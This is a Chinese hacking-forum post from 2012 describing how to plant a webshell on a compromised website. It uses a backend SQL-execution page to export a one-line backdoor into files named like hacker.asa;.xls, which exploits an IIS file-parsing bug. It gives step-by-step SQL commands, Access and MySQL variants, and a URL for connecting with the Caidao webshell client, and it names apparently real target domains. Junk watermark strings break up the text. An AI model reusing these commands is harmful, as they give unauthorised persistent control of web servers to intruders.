中国网络渗透测试联盟
标题:
ACCESS执行SQL命令导出一句话SHELL
[打印本页]
作者:
admin
时间:
2012-9-13 17:53
标题:
ACCESS执行SQL命令导出一句话SHELL
好不容易进了后台，发现啥上传啊。备份啊多木有。
4 L9 w) T! B/ f# F6 B
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
0 v$ Z/ Y: M' H9 ]% F' S7 K- o( X
文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，
9 G9 c# E( F' b
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：
^* n. A) w) ?0 J x3 l
1.create table cmd (a varchar(50))
! p: e" [" Z+ l$ Y8 C( w
2.insert into cmd (a) values (‘‘)
; i# B& e1 h, u9 T1 K+ A
3.select * into [a] in ‘D:\wwwroot\
www.koohik.com
\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
; ^% g$ v9 W5 W* \$ R/ E2 _4 E
(把表cmd的内容导出为物理路径的一个EXCEL文件)
0 {2 ?- t9 T( q0 \+ \: P- s1 W; U
4.drop table cmd
5 y( \& D! Z1 r& ?, @0 m7 R
利用IIS的BUG成功拿到了WEBSHELL。
! c# k. J+ j6 C* H& t6 O8 `
7 I; V3 w% C) k4 J3 H4 Q/ N
直接菜刀里连接
http://www.chouwazi.com/data/xiao.asp;xiao.xls
一句话
$ r. p3 Q. u% y# `& r
O9 u. _: g" `# L2 N" L
SQL语句意思解释：
0 v. u3 _* _3 n8 l$ b9 R0 I
第一句
2 t/ z, }3 h- I
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
" R6 s! t- i% N. B
- Q& [) e7 t% s
第二句
6 k! P; r" L0 t
在表cmd的a字段插入一句话木马
! d* F& S" g1 s# Q, e: |8 ]/ F
第三句
) N3 p9 g t# r# }' ~
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
. A! t( @: G* I4 i
# S8 d6 W. @; w5 }+ k
第四句
+ C$ c; A7 z3 G: K3 N8 X
删除建立的cmd表
+ `4 B# f% C$ {) U
6 M. Q( x% I; i7 c# R
以下内容为测试：
; t& Z9 l2 E1 f* F% g2 K( m
Access利用后台SQL执行命令功能导出WebShell:
; R8 ~9 j2 ~ R6 ~
这个更简单：
5 B* Q# F5 l6 W+ y8 o3 R
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
4 f7 f$ m8 G. X( y: u
或者
5 R0 ~" ~1 g. f( Y% m" b
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
. j. z f+ G$ L, g v
0 B" {0 [% Y3 A. D4 N n6 c
后台有执行SQL语句功能(vote为已知表段)
; \ b4 m8 C% \2 n7 k' U" P9 v# z: t
希望对大家有所帮助拿shell的又一个思路
( i. i3 \% |+ I7 [
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2